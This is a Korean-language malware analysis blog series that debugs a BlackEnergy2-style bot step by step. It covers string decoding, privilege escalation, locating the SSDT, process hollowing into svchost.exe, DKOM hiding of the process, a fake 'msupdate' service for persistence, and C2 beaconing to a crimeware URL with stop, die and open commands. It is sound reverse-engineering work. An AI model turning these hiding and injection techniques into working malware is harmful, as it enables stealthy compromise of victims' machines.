[그림.1]

 

분석전에 SSDT 테이블을 후킹을 하는 악성코드로 판단을 했었는데 다시 상세히 분석하니 이녀석은 SSDT 후킹을 하는 악성코드가 아니었습니다.

IceSword툴을 이용해서 SSDT 테이블에서 변경이된 Native Function이 있는지 확인결과 이상이 없었습니다.

 

 

[그림.2]

 

그런데 Process를 확인 결과 분명 PID 3720을 사용하고있는 svchost.exe는 태스크매니저 또는 ProcessExplorer로 확인했을때 없었는데 IceSword에서는 실행중인 프로세스로 확인이 되네요.

 

[그림.3]

 

올리디버거로 그림.3과 같이 0x151139F0와 0x15114D10함수로 진입하여 분석을 시도합니다.

위의 함수들은 Kernel모드로 진입하여 DKOM을 작업하는 함수들입니다.

DKOM은 간략히 설명하면 프로세스와 프로세스끼리 서로 링크드리스트를 이용하여 서로 포인터 메모리주소로 연결되어있는데 이 각각의 연결링크를 끊어 프로세스를 은닉하는 기법입니다.

 

[그림.4]

 

0x15114D10함수 내부로 진입하고 0x15114C80 함수로 진입후 실행하면 BlueScreen이 발생하여 더 이상 분석이 불가능합니다.

그 이유는 ollydbg는 UserMode 디버거이기 때문에 커널모드로 분석이 불가능 하기 때문입니다.

UserMode디버거는 커널로 진입하여 분석을 할 수 없기 때문에 더 이상 ollydbg로는 해당 악성코드 분석이 불가능했습니다.

그래서 해당 악성코드의 특정 코드 영역만 커널모드 디버거인 windbg를 이용하여 분석을 이어서 진행했습니다.

 

[그림.5]

 

우선 분석하기전에 현재 실행되고 있는 svchost.exe의 PID를 확인하면 3152 이고 이것을 16진수로 변경하면 C50이 됩니다.

16진수로 변경한 이유는 windbg에서 PID는 16진수로 보여주기 때문에 PID를 16진수로 변경 후 확인 해야합니다.

[그림.6]

 

현재 DKOM 코드 영역을 분석하기위해 vmware의 가상OS Windows XP와 windbg를 시리얼포트를 사용하여 리모트로 연결한 상태입니다.

즉 제가 사용하고 있는 로컬컴퓨터 Windows7 64비트에 windbg를 세팅하고, vmware의 가상OS의 Windows XP와 서로 연결해 놓은 상태입니다.

이와 같은 방법은 검색하면 쉽게 알 수 있으니 찾아보시면 금방 확인이 가능합니다.

분석을 위한 세팅이 완료된 상태이기 때문에 분석을 시작하겠습니다.

우선 위의 PrecessExplorer에서 확인했던 svchost.exe의 PID를 windbg에서 확인해 봅니다.

PID가 0c50인 svchost.exe가 존재하는걸로 확인이 됬습니다.

 

[그림.7]

 

그럼 이제 커널모드에서 특정 프로세스를 attach하여 분석을 해야합니다.

즉 커널 모드에서 유저모드디버깅이 가능하게 할 수 있는데 그림.7과같이 명령어를 입력하여 svchost.exe의 EPROCESS주소 0x89C182F8로 attach하면 svchost.exe를 분석 할 수 있게 됩니다.

정상적으로 붙었는지 확인을 !process 명령어로 확인 결과 0x89C182F8 svchost.exe로 세팅된 것을 확인 할 수 있습니다.

 

[그림.8]

 

그리고 svchost.exe는 실행시 은닉이되기 때문에 분석 편의상 제가 svchost.exe의 EP에 자기자신으로 점프하도록 바이너리를 수정해놨었는데요 이렇게되면 EP 0x151130F0 자기자신으로 점프하여 더이상 코드실행이 되지 않게 됩니다.

이상태에서 Attatch하여 분석하면 조금 편리하기 때문에 바이너리를 수정했었습니다.

 

[그림.9]

 

이 수정된 바이너리를 원래의 코드로 다시 수정을 해주고 해당 EP에 브레이크 포인트를 걸고 브레이포 인트까지 실행하여 분석을 이어갑니다.

 

 

[그림.10]

 

여기서 잠시 svchost.exe의 EPROCESS를 확인해봅니다.

DKOM 즉 프로세스와 프로세스간의 연결된 링크드리스트를 변경하려면 EPROCESS의 0x88의 ActiveProcessLinks ListEntry의 주소를 조작해야합니다.

그러나 주의해야 할 점이 현재 그림.10의 보이는 0x89B4DE54-0x89BA670C주소자체를 조작하는 것이아니라 이 주소가 가르키고 있는 주소를 변경해야 합니다.

즉 0x89B4DE54-0x89BA670C 주소는 포인터 역할을 한다고 보시면 됩니다.

 

[그림.11]

 

DKOM영역의 코드내부로 진입하면 sysenter 명령으로 커널로 진입하는 것을 확인 할 수있습니다.

 

[그림.12]

 

그림.12의 코드를 보면 0x89C182F8 svchost.exe의 EPROCESS의 주소를 얻어오고 이 주소값에다가 +0x88 을 더하여 0x89C18380 주소를 얻게 됩니다.

이 주소를 EPROCESS 구조체에서 확인해보면 ActiveProcessLinks ListEntry 주소인것을 확인 할 수 있습니다.

즉 링크드리스트를 조작하기 위한 첫번째 작업으로 ActiveProcessLinks ListEntry의 주소를 얻습니다.

[그림.13]

 

그리고 여기서 0x89B4DE28을 Flink(ForwardLink)라고 하고 0x89BA66E0를 Blink(BackLink)라고 하겠습니다.

그림.13의 0x151139CE코드를 보면 EAX가 ActiveProcessLinks ListEntry 의 Blink 0x89BA66E0를 가르키고 있고 이 가르키는 곳에 Flink 0x89B4DE28 주소로 변경합니다.

정리하면 원래 Blink는 다른 프로세스를 가르키고 있는 주소로 세팅되어 있었는데 이 주소를 자기자신의 Flink 0x89B4DE28 주소로 변경해 버린것 입니다.

 

[그림.14]

 

그리고 이어서 코드를 실행하면 0x151139DD 주소에 MOV DWORD PTR [EAX+4], EDX 코드를 볼 수 있습니다.

이 코드는 ActiveProcessLinks ListEntry Flink 0x89B4DE28 주소가 가르키는 곳에 EDX(0x89EA9E28)주소로 세팅합니다.

 

 

[그림.15]

 

변경된 Flink의주소 0x89EA9E28를 확인해보면 다른 프로세스의 링크드리스트 주소가 아닌 nt!PsActiveProcessHead의 엉뚱한 함수 주소를 가르키는 포인터임을 확인 할 수 있습니다.

이것으로 svchost.exe의 ActiveProcessLinks 의 ForwardLink와 BackLink가 모두 변경이 됬고 이로써 프로세스의 링크드 리스트는 끊어 젔기 때문에 svchost.exe는 은닉이 가능하게 되는 것이고 이 기법을 DKOM기법이라고 합니다.

 

[그림.16]

 

다시 ProcessExplorer로 확인결과 svchost.exe가 사라진 것을 확인 할 수 있습니다.

프로세스 은닉 이후의 행위에 대해 이어서 분석을 진행하겠습니다.

 

[그림.17]

 

windbg는 커널디버깅이 가능하다는 장점이 있고 기능들도 좋지만 유저모드 디버거들에 비해 불편한점이 많기 때문에 DKOM기법을 이용하여 은닉된 이후의 코드는 ollydbg로 분석 하였습니다.

그림.17을 보면 자기자신을 삭제하고 CreateFileA함수로 c:\windows\system32\mssrv32.exe 파일을 오픈합니다.

 

 

[그림.18]

 

그리고 레지스트리를 생성하고 값을 세팅하는데 다음과 같습니다.

 

[그림.19]

 

HKEY_LOCAL_MACHINE - SYSTEM\CurrentControlSet\Services\msupdate 의 레지스트리에 그림19와같이 레지스트리를 등록합니다.

해당 레지스트리는 자기자신의 코드를 복사한 mssrv32.exe를 서비스로 등록시킵니다.

 

[그림.20]

 

서비스로 등록된것을 확인하면 사용자들을 속이기 위해서 microsoft의 보안업데이트로 속이고 있는 것을 확인 할 수 있습니다.

 

[그림.21]

 

레지스트리 등록 과정이 끝나면 C드라이브의 볼륨 시리얼넘버를 구하고, 현재 사용중인 pc의 이름을 구해서 두 데이터를 결합 후 저장합니다.

 

 

[그림.22]

 

이 값을 다시 다음과 같이 만들어서 저장합니다.

id=xDKCOM_241CA3 B5&build_id=165BCFE

URL 파라미터 같네요

 

[그림.23]

 

HTTP Request패킷을 POST형식으로 다음과같이 세팅 하여 전송합니다.

www.crimeware.com/stat.php?id=xDKCOM_241CA3 B5&build_id=165BCFE

원래는 여기서 HttpSendRequestA함수로 URL 을 Requst하고 이에대한 Response응답데이터를 InetrnetReadFile함수로 받게됩니다.

하지만 해당 사이트는 현재 닫힌 상태이기 때문에 정상적인 Response를 받을 수 없는 상태입니다.

 

 [그림.24]

 

받은 데이터가 없을때는 위와같이 특정값 * 특정값 * 3E8와 같이 특정값과 3E8을 곱한 값을 millisecond로 만들어서 시간값을 세팅하고 그 시간동안 Sleep 함수를 호출하여 대기하게됩니다.

여기서 현재코드에서 Sleep을 하기전에 메모리주소 0x151135F2에 보면 CreateThread를 호출하는데 이 스레드의 코드 내용을 보면 아래와 같습니다.

 

[그림.25]

 

생성되는 스레드도 그림.11의 코드와 같이 특정값 * 특정값 * 3E8와 같이 특정값과 3E8을 곱한 값을 millisecond로 만들어서 시간값을 세팅하고 대기하게됩니다.

이렇게 대기한 이후에 코드는 이어서 그림.8부터의 과정을 반복하여 웹서버에 정보를 Request하고 Response받는 행위를 계속 하게됩니다.

여기까지 진행상황을 간략히 정리하면 감염자 대상의 PC정보와 이에해당하는 고유한 값의 정보를 웹서버에 전달하고 Response받은 데이터가 없을때 Sleep하여 감염된 PC의 봇은 잠을 자게됩니다. 그리고 또다시 Sleep함수에서 설정한 시간값만큼의 시간이 지나면 위의 과정을 반복적으로 하게되는 것입니다.

여기서 잠시 쿠쿠샌드박스에서 분석된 결과를 한번 확인해보겠습니다.

 

[그림.26]

 

쿠쿠샌드박스에서도 3개의 프로세스가 탐지되고 분석을 해서 리포트로 만들어 줬는데요

그중 마지막 자식프로세스인 svchost.exe를 분석한 결과를 리포트해줍니다.

쿠쿠의 결과를 봐도 그림.12와같이 각각 메인스레드와 호출된 스레드가 600000, 1800000으로 Sleep까지만 분석을 하고 종료한것을 확인 할 수 있습니다.

더이상의 특별한 과정이 없나봅니다.

SSDT 테이블의 주소값을 건드리길래 멋지게 후킹을 해줄것으로 기대했는데 굉장히 아쉽네요 ㅠ

이부분은 후킹이 됬는지 추후에 확인해보겠습니다.

일단은 분석은 이렇게 종료가 됬습니다.

하지만 위에서 잠시 언급한대로 감염된 PC이름과 고유한 값의 정보를 웹서버에 전달하고 Response받은 데이터가 없을때 Sleep한다고 했습니다.

여기서 잠깐 왜 Response가 없을때 Sleep함수를 호출할까요? 라고 생각해 볼 수 있겠습니다.

왜그럴까? 한번 고민해보면 간단합니다.

만약 이러한 프로그램들로 수백만대의 감염된 PC들이 있다고 생각했을때를 볼 수 있습니다.

수백만대의 컴퓨터가 각자의 정보들을 공격자의 웹서버에 Request를 보냅니다. 여기서 Sleep이 없다면?

Request데이터가 없는 봇들 전부다 공격자 웹서버에 패킷을 보내게됩니다.

역으로 DDOS를 받는 셈이겠네요..(나중에 저러한 봇들 찾아서 이와같이 컨트롤하는 부분들 전부다 찾아서 코드패치후 역으로 공격하고싶은 상상을 하게되네요 ㅋ)

그렇다면 Response받은 데이터가 있다면? 분명 이에 대한 어떤 특정 루틴을 탈것 같은 예감이 듭니다.

이부분은 간단히 웹서버를 만들고 감염된 pc의 호스트주소에서  WWW.CRIMEW***.COM를 내 웹서버로 세팅해놓고 조건에 맞게끔 하나

씩 멋지게 분석 하려고했으나.. 엄청난 삽질이 예상이되네요..

차라리 제대로 동작하는 샘플을 하나더 분석하는게 정신건강에 더 이로울듯 싶다고 생각해서 그냥 끼워맞추기식 코드패치를 해서 몇개의 명령어들을 알아냈습니다.

그럼 간단히 알아보겠습니다.

 

[그림.27]

 

우선 InternetReadFile함수가 호출될때 PUSH ECX 이 부분의 파라미터에 호출이후 데이터가 버퍼의 시작주소가 됩니다.

그래서 InternetReadFile 함수 호출이후 이 버퍼에 제가 임의로 "gogo" 문자열을 입력을 함으로써 Response데이터 있는것 처럼 만든것 입니다.

 

[그림.28]

 

역시 예상대로 Response데이터를 파싱해서 특정위치에있는 데이터와 연산을해서 4바이트짜리 코드를 2바이트로 만들어서 저장합니다.

 

[그림.29]

 

이어서 실행되는 루틴을 따라가보니 특정 명령어(stop/die/open)에 대한 분기를 하여 실행을 하게됩니다.

여기서 die는 자기자신(_bot.exe)을 복사했던 파일 c:\windows\system32\mssrv32.exe을 삭제하도록 하는 명령어입니다.

그리고 open명령어는 iexplorer.exe "? " 와 같은 형식으로 실행을 하는 명령입니다.

즉 공격자가 _bot.exe감염된 pc에서 원하는 주소로 웹브라우저를 실행하는 명령입니다.

 

[그림.30]

 

이어서 루틴을 따라가면 공격자가 실행한 명령어가 맞는지 검증합니다.

검증하는 곳의 주소로 가보니 몇개의 명령어들이 있네요..

 

[그림.31]

 

계속 코드를 따라가보면 "open"에 대한 명령을 위와 같이 실행합니다.

제가 코드를 강제로 패치해서 진행하다보니  iexplorer.exe "비어있는 버퍼" 로 세팅이 됬습니다.

코드에서 비어있는 버퍼부분에 값을 wsprinf함수로 두개의 문자를 결합하는 것으로 보아 빈 버퍼에는 공격자가 입력해서 사용할 URL 주소일거라고 생각이 듭니다.

 

[그림.32]

 

실제 웹브라우저가 실행이 됬는지 확인해보면 정상적으로 실행이 됬네요.. 

 

[그림.33]

 

웹브라우저가 실행이 되고나면 스레드를 실행합니다.

 

[그림.34]

 

스레드  내부로 들어가서 보면 웹브라우저를 실행해놓고 2710(10000ms)의 시간만큼 Sleep을 한 후에 실행시켰던 웹브라우저를 종료합니다.

이와 같은 방식으로 웹브라우저에 있는 문자(명령어)들로 _bot.exe에게 명령을 내리는것 같네요..

이것으로 분석을 마치겠습니다~~

posted by 미스터리 DKL

 

첫번째 _bot.exe프로세스가 CreateProcess로 자기자신을 자식프로세스로 생성하게 되는데요 그 생성된 프로세스를 분석해 보겠습니다.

우선 이번에도 분석하기전에 분석대상 실행파일에서 대략 코드의 흐름을 보겠습니다.

 

[그림.1]

 

이번에도 툴을 돌려서 확인하겠습니다.ㅋ

이번 분석대상은 CreateProcess로 호출된 _bot.exe의 자식프로세스 입니다. 

 

[그림.2]

분석이 완료되고 Report결과를 보면 함수가 별로 호출이 안되네요.

윗부분 몇줄은 _bot.exe의 부모프로세스와 동일하고 메모리주소 0x1511267F lstrcpy부터 코드가 틀린것을 확인 할 수 있습니다.

지금부터 코드는 _bot.exe가 아닌 _bot.exe의 자식프로세스의 이름을 _bot_petch.exe라고 하겠습니다.

_bot_petch.exe라고 지은 이유는 자식프로세스로 생성되는 녀석에 EP에 INT 3(0xCC)로 소프트웨어 브레이크 포인트를 설정하여 코드 패치를 하고 분석을 진행 했기 때문입니다.

 

 [그림.3]

 

 

이 자식 프로세스에서의 흐름은 부모 프로세스가 뮤텍스를 갖고 있기 때문에 GetLastError에서 리턴으로 0x0B7을 리턴합니다.

이 값의 의미는 위에서 설명을 했기 때문에 생략하겠습니다.

CMP EAX(0x0B7),0B7은 JNZ분기문의 조건에 맞지 않으므로 점프하지 않고 아래의 함수 0x15112650을 호출하게 됩니다.

그럼 함수 내부로 진입하여 분석을 이어가겠습니다.

 

[그림.4]

함수내부로 들어가면 위의그림과 같습니다.

svchost.exe의 경로를 만들고 그 경로에있는 svchost.exe를 자식프로세스로 생성을합니다.

벌써 두번째 자식프로세스 생성입니다.(자식좀 그만 낳았으면 좋겠지만 어떤 녀석들인지 알아야겠지요-0-)

여기서 중요한점은 생성할때 CreationFlags를 CREATE_SUSPENED로 호출한다는 점입니다.

이렇게 호출 될 경우 프로세스가 생성될때 정지 상태로 생성하게 됩니다.(느낌에 svchost.exe가 수술당할 것 같은 느낌이 드네요.. -0-)

 

 

 [그림.5]

 

그리고 _bot_petch.exe의 힙 영역에 자기자신의 코드를 복사하기 위해 VirtualAlloc함수를 호출하여 코드사이즈만큼 메모리 공간을 만듭니다.

호출이후 리턴된 메모리주소는 0x00B70000입니다.

그리고 GetCurrentProcess함수로 현재 실행중인 _bot_petch.exe의 HANDLE을 구하고 할당된 힙 영역에 자기자신의 코드를 그대로 복사합니다.

 

 [그림.6]

 

현재 생성된 프로세스를 확인하겠습니다.

첫번째 부모프로세스 _bot_fetch.exe(_bot.exe) 와 첫번째 자식 프로세스인 _bot_petch.exe 그리고 이 녀석이 낳은 또하나의 자식 프로세스인 svchost.exe가 메모리에 올라와있습니다.

이중에서 svchost.exe에 무언가 작업(수술-0-)을 하기위해 Suspended로 호출된 상태이구요.

 

[그림.7]

본격적으로 svchost.exe에 작업을 하는 코드입니다.

우선 _bot_petch.exe 의 힙 영역에 자기자신의 코드를 저장한 상태에서 VirtualAllocEx 함수로 svchost.exe의 HANDLE 0x88 과 _bot_petch.exe 의 Sizeofimage 0xA0000(코드크기) svchost.exe에 생성할 힙 주소를 0x15110000으로 세팅하고 PAGE_EXECUETE_READWRITE의 메모리 권한으로 생성합니다.

결국 이렇게 되면 svchost.exe에 0x15110000 주소의 힙 영역이 생성이 되고, 그 생성된 사이즈는 0xA0000이 됩니다.

하지만 아직까진 svchost.exe에 생성된 힙 영역은 빈공간 입니다.

이것을 아래 그림을 통해 확인해 보겠습니다.

 

[그림.8]

 

메모리 영역의 확인은 sysinternals에서 제공하는 VMMap.exe 툴을 사용하여 확인이 가능합니다.

왼쪽이 VirtualAllocEx 함수를 호출 하기 전 이고 오른쪽이 함수 호출 후 입니다.

오른쪽을 보면 0x15110000 svchost.exe 프로세스의 힙 메모리 영역에 0x15110000이 생성된 것을 확인 할 수 있습니다.

 

[그림.9]

 

그리고 svchost.exe의 힙 영역에 생성된 코드 부분으로 코드의 실행 제어권을 넘기게되는데 이부분을 보기전에 잠시 확인하고 가야될 부분이 있습니다.

그림.4에서 CreateProcess 함수로 실행됬던 svchost.exe파일의 pProcessInfo에 LPPROCESS_INFORMATION 구조체가 들어 가게 됩니다.

그부분을 확인해보면 svchost.exe정보를 확인 할 수 있는데 그 정보들은 그림.9와 같고 Thread Handle이 0x98인것으로 확인이 가능합니다.

 

[그림.10]

 

여기서 svchost.exe의 EIP를 변경함으로써 코드의 흐름을 변경하게 되는데요.

우선 CONTEXT 구조체를 세팅하고 GetThreadContext로 svchost.exe의 CONTEXT를 가져옵니다.

이 구조체안에는 EDI,ESI,EBX,EDX,ECX,EAX,EIP,EBP,ESP와 EPLAGS 또는 CONTEXTFLAGS 등의 정보들로 채워지고 레지스터에 세팅되는 값들은 현재 EIP에 해당하는 값들로 세팅이 됩니다.

그림.10에서 왼쪽 그림에 GetThreadContext 호출했을때 HEX창을 확인 했을때 보여지는 값이 svchost.exe의 현제 EIP레지스터 값이며 0x7C7E0735로 세팅되어 있습니다.

그리고 오른쪽 그림의 코드상 메모리주소 0x15112700에 보면 다음과 같은 코드가 있습니다.

MOV DWORD PTR SS:[EBP-378],EDX

이 콛드는 CONTEXT.EIP = 0x151130F0로 해석할 수 있으며, 이 의미는 svchost.exe의 EIP주소를 0x151130F0 세팅하겠다는 의미입니다.

즉 svchost.exe의 힙 영역에 붙여넣은 코드 0x15110000에서 정확히 .text section 코드섹션의 시작지점으로 EIP를 변경하여 실행하게 되는 것입니다.

이제 마지막으로 SetThreadContext 함수로 svchost.exe 프로세스의 CONTEXT 정보를 수정한 CONTEXT로 세팅하게 되고, 마지막으로 ResumeThread 함수로 suspended된 svchost.exe프로세스를 실행하게됩니다.

 

 

[그림.11]

 

이번에도 스레드에 IN3 소프트웨어 브레이크 포인터를 걸어서 실행했더니 JIT(just...?)실행이 안되더라구요..(Attach List 목록에 svchost가 없습니다. ㅠ)

그래서 스레드의 코드실행 첫라인 2바이트에 현재 라인으로 점프하는 코드 EBFE 를 걸어 현재의 명령어 라인에 무한루프롤 돌게끔 걸어놓고 분석을 진행했습니다.

그랬더니 CPU 사용량이 막올라가네요.

이상태에서 Attach List 목록을 확인해 보면 svchost.exe가 올라와 있는것을 볼 수 있습니다.

 

[그림.12]

svchost.exe와 attach 해서 코드 내로 진입했습니다.

대충 보면 소켓함수와 wininet.dll 라이브러리를 쓰네요 인터넷연결과 소켓통신을 하려고 하는 모양인데 자세한건 분석해 봐야겠지만 재미있을것 같네요..ㅎㅎ;

이것으로 두번째 프로세스 분석을 마치겠습니다~

 

posted by 미스터리 DKL

 

 

 

 

 

[쿠쿠 분석결과]

 

요즘 모 교육을 받고 있는데 샘플 상세분석은 안하더라구요.ㅠ

궁금하기도 하고 해서 한번 상세 분석을 진행해 보았습니다...

 

 [그림.1]

 

그림.1을 보면 알수 없는 문자열이 스택에 저장되는 것을 볼 수있습니다.

악성코드 제작자가 분석을 방해하거나 백신우회? 를하기위해 저렇게 알 수 없는 문자열로 저장해놓고 0x15117430 .data section에 디코딩을 합니다.

디코딩을 하면 URL이 나오는데 이 정보를 숨기고 싶었나봅니다.

 

 [그림.2]

 

.bdata section 입니다. 이 데이터의 아스키 코드값을 메모리의 offset으로 사용합니다.

 

 [그림.3]

 

그리고 .data section의 데이터입니다. 그림.2에서 Memory + Ascii offset 한 위치의 값을 .data section에서 찾아오는 역할을 합니다.

 

 [그림.4]

 

.data section의 문자를 offset으로 사용하여 Memory + Ascii Offset 와 같이 연산하여 메모리 주소를 구합니다.

그리고 그 메모리 주소에있는값으로 쉬프트 연산과 or연산등을 이용하여 디코딩을 진행합니다.

그림.4의 메모리 주소(0x15111960)를 보면 이렇게 진행한 1바이트의 문자를 0x15117430으로 저장하는 것을 확인 할 수있습니다.

 

 [그림.5]

 

ollydump로 덤프떠서 확인해보니 디코딩된 문자열을 확인 할 수 있었습니다.

원본과 비교하면 확실히 다른점을 찾을 수 있습니다.

그리고 맨아래 섹션이 추가되었는데 이것은 악성코드에서 추가한 섹션이아니고 ollydump로 덤프뜨면 생기는 섹션이더라구요 참고하세요 ㅋ

 

[그림.6]

 

첫 OEP부터 코드를 보면 정말 분석하기 친절하게 함수들이 나열되어있네요..

처음 윈도우 시스템 디렉토리 경로를 구하고 GetModuleHandleA함수로 현재 실행중인 프로세스의 핸들을 얻어옵니다.

사실 정확히는  GetModuleHandleA함수로 얻어오는값은 현재 실행중인 프로세스의 ImageBase값 입니다.

리턴된 메모리주소값(0x15110000)으로 가서 확인해보면 실행파일의 처음부분인 ImageBase주소임을 확인 할 수 있습니다.

그리고 이 ImageBase값을 인자로 GetModuleFile함수를 호출하여 현재 실행중인 프로세스의 이름을 구해옵니다.

 

[그림.7]

 

여기서 뮤텍스를 이용해서 조건에 맞게끔 코드제작자가 원하는 함수를 호출 할 수 있도록 제어를 합니다.

우선 이름있는 뮤텍스를 생성하고, GetLastError 함수를 호출해서 리턴값이 0x0B7 인지 체크합니다.

이 0x0B7은 MSDN을 참고해보면 다음과 같은 값임을 알 수 있습니다.

 

0x0B7(183)

ERROR_ALREADY_EXISTS183

Cannot create a file when that file already exists.

 

위의 뮤텍스 이후의 JNZ 분기문을 해석해보면 현재 뮤텍스가 생성이 되고 에러코드가 0x0B7인지 체크하는데 첫1회 실행시 0x0B7이 아니므로 바로 아래루틴으로 이동하게 됩니다.

하지만 이 악성코드 뒷부분을 확인 해보면 같은 코드로 CreateProcess를 함수를 호출 하게되고 그때는 이부분에서 조건이 만족(0x0B7 = GetLastError 리턴값)되어 점프를 하게됩니다.

이렇게 각각의 뮤텍스를 이용하여 각각 실행되는 함수가 서로 다르게 됩니다.

 

[그림.8]

 

그리고 GetCurrentProcess로 현재 실행중인 프로세스의 모조핸들을 구하고 이 핸들을 이용하여 OpenProcessToken 현재 프로세스의 AccessToken을 구합니다.

 

[그림.9]

 

그리고 얻어온 AccessToken에서 SeDebugPrivilege권한이 있는지 확인하기 위해 LookupPrivilieageValueA함수를 호출합니다.

이 AccessToken은 프로세스의 보안속성에 관련해서 명시한 리스트들 이며, 간단히 다음과 같이 확인 할 수있습니다.

 

[그림.10]

 

ProcessExplorer로 확인이 가능합니다.

현재 BlackEnergy2의 AccessToken에서 SeDebugPriviege는 Disabled되어있습니다.

아마도 이부분을 활성화해서 타 프로세스를 디버깅모드로 접근하여 프로세스를 수정하거나 Context값들의 획득이 목적인것으로 추측합니다.

 

[그림.11]

 

그리고 여기서 AdjustTokenPrivileges 함수호출로 권한상승을 하게됩니다.

즉 위에서 확인했던 SeDebugPriviege = Disable권한을 여기서 Enable로 활성화 시킵니다.

이 함수에서 중요한 파라미터는 pNewState입니다.

pNewState = 0x0012FF20 이며 해당 버퍼에 저장된 구조체의 값들이 순차적으로 있습니다.

여기서 4번째값이  TOKEN_PRIVILEGES 구조체이며, 간단히 확인해 보겠습니다.

 

 

[그림.12]

 

MSDN에서 확인해보면 여러 값들이 있는데 여기서 사용된 값은 SE_PRIVILEGE_ENABLED입니다.

 

[그림.13]

 

이값을 WinNt.h파일에서 확인해보면 0x00000002 인것을 확인이 됩니다.

위의 HEX DUMP창의 4번째 구조체의 값과 비교해보면 정확히 일치하는것을 알 수 있습니다.

이것으로 SE_PRIVILEGE_ENABLE값으로 함수를 호출했다는것을 확인 할 수있습니다.

 

여기서 제가 분석할때 쓰려고 만든 허접하고 허접한 코드분석프로그램으로 분석이 어디까지 진행됬는지 확인한번하고 가겠습니다.ㅋ;;

 

[그림.14]

 

한 4분의1정도 분석이 완료됬네요 나머지는 lstrlen함수 호출을 반복하는 부분이 대부분이라 현재의 코드상 분석진행은 조금 남았다고 볼 수 있겠습니다. ㅎㅎㅎ

 

 

[그림.15]

 

다시 ProcessExplorer로 확인해보면 SeDebugPrivilege값이 Enabled된것을 확인 할 수있습니다.

제대로 변경 되었네요..

 

[그림.16]

 

그리고 이어서 GetModuleHandleA함수로 ntdll.dll의 ImageBase의 주소값을 얻어오고 이 값으로 GetProceAddress함수의 인자로 넘겨서 NtSystemDebugControl 함수에대한 함수포인터를 얻어옵니다.

참고로 얻어온 값은 0x7C93DE4E인데 이값은 ntdll.dll에서 EXPORT_ADDRESS_TABLE(EAT에서 얻어온 값입니다.)

PEVIEW로 해당값을 EAT에서 찾아보면 0xDE4E이며 현재 로드된 ntdll.dll의 ImageBase값과 0xDE4E값을 더하게되면 0x7C93DE4E값이 됩니다.

 

 

[그림.17]

 

그리고 ZwQuerySystemInformation 함수로 SystemModuleInfo를 인자로 함수를 호출하게 됩니다.

이것은 현제 시스템의 커널이미지에 대한 정보를 얻기위해 호출하는 함수입니다.

호출하여 저장된 버퍼주소 0x00970000부터 보면 각종정보들이 담겨져 있습니다.

현재 로드된 커널이미지는 ntkrnlpa.exe인데요 이것은 운영체제별로 로드되는 이미지가 틀리다고합니다.

 

ntoskrnl.exe (1 CPU)                    One CPU

ntkrnlmp.exe (N CPU, SMP)          MultiProcessCPU , Symmetric multiprocessing

ntkrnlpa.exe (1 CPU, PAE)            One CPU, Physical addresss extention

ntkrpamp.exe (N CPU, SMP, PAE)  MultiProcessCPU, Symmetric multiprocessing, Physical addresss extention


 

여기서 현재 로드된 커널이미지는 ntkrnlpa.exe이며 PAE(Physical addresss extention)가 있습니다.

이것은 기본적으로 Process는 4G의 메모리를 필요로 하는데 그 이상의 메모리를 사용하려고 할때 확장이 가능하다는 뜻입니다.

 

[그림.18]

 

ZwQuerySystemInformation 함수로 호출하여 리턴된 구조체의 정보를 보면 ntkrnlpa.exe의 ImageBase의 주소를 확인 할 수 있으며, 해당되는 주소값은 0x804d9000으로 커널 메모리 영역의 주소입니다.

windbg를 사용하여 해당 메모리위치로 가보면 로드된 ntkrnlpa.exe 커널이미지를 확인 할 수 있습니다.

 

[그림.19]

 

이어서 ZwQuerySystemInformation 함수로 얻어온 정보를 기반으로 ntkrnlpa문자열을 파싱하기 위한 작업을 진행하고,

LoadLibraryExA함수로 ntkrnlpa.exe 커널이미지의 메모리상에 로드된 ImageBase값을 얻어옵니다.

 

 

[그림.20]

 

그리고 ntkrnlpa.exe의 ImageBase값 0x00A60000 값을 인자로 ntkrnlpa.exe내에서 KeServiceDescriptorTable값의 주소를 EAT테이블에서 찾습니다.

KeServiceDescriptorTable은 다음과 같은 구성으로 되어있습니다.

 

KeServiceDescriptorTable 

KiServiceTable                    // SSDT테이블의 시작주소를 가르킨다.(이 테이블의 시작주소로부터 함수들의 진입주소가 리스트 되어있다.)

CounterTable                      // 각 함수들이 몇번 호출되어 있는지 나타낸다.

ServiceNum                        // SSDT테이블에 포함된 함수의 갯수를 저장한다.

KiArgumentTable                 // 각 함수별 파라미터의 크기를 나타내는 값을 저장하고 있는 테이블의 포인터가 저장되어 있다.

 

그럼 실제 KeServiceDescriptorTable의 주소를 ntkrnlpa.exe에서 찾아보겠습니다.

 

[그림.21]

 

현재 메모리상에 로드된 ntkrnlpa.exe의 ImageBase값은 0x006A0000 이었고, 이 값에다 EAT의 KeServiceDescriptorTable의 함수 진입주소를 더하면 그림.20과 같이 0x00ADC0A0값이 됩니다.

 

[그림.22]

 

그리고 ntkrnlpa.exe 의 ImageBase값(0x006A0000)과 KeServiceDescriptorTable의 VA값(0x00ADC0A0)을 빼서 RVA값(0x0007C0A0)로 만들어서 스택에 저장하고 다시 이 값을 ECX레지스터를 이용하여 함수 0x15114930을 호출하게됩니다.

함수내부로 들어가 보겠습니다.

 

[그림.23]

 

함수내부로 들어갔더니 내부에서 한개의 함수를 하나더 호출합니다.

함수이름은 0x151148E0이며 이 함수의 역할은 커널이미지 ntkrnlpa,exe 에서 PE signature offset, Machine offset , Optional header magic offset, .text section start offset을 0x12FEF4에 순차적으로 저장하고 빠저나옵니다.

그리고 다음과 같은 코드를 실행 합니다.

 

[그림.24]

 

그림.24에서 핵심은 박스안의 코드들입니다.

굉장히 복잡하네요.. 그러나 차근차근 한라인한라인 분석해보면 뭘 하려는지 파악이 됩니다.(수련을 한다고 생각하시고...-0-;)

 

우선 여기서 0xC49300 주소가 ntkrnlpa.exe의 .reloc section의 시작주소입니다.

박스 윗부분은 이 섹션에서 특정값을 파싱하고 아래의 박스안의 코드를 실행하기 위한 사전작업을 진행하는 것입니다.

별로 중요하지  않으므로 윗부분의 코드는 생략하고 박스 안의 코드부터 분석을 하겠습니다.

처음 0xC49308 주소 즉 .reloc section의 시작주소에서부터 +8 offset의 위치에 있는 WORD값 0x3784을 저장해두고, 다시 0x3784를 0x0FFF 와 AND 연산하여 0x0784값으로 만듭니다.

그리고 메모리주소 0x151149F8의 코드에서 ADD EDX,DWORD PTR DS:[EAX] 연산을 합니다.

여기서 각각 들어있는 값이 EDX에 0x0784이고, [EAX]의 값은 [0xC493000]입니다.

즉 이코드를 계산하면 0x0784과 0xC493000이 가르키는값 0을 더하는 코드입니다.

0과 더하기 때문에 당연이 연산결과는 0x0784가 되겠습니다.

그리고 이 연산결과 값과 ntkrnlpa.exe의 ImageBase값 0xA60000을 서로 더합니다.

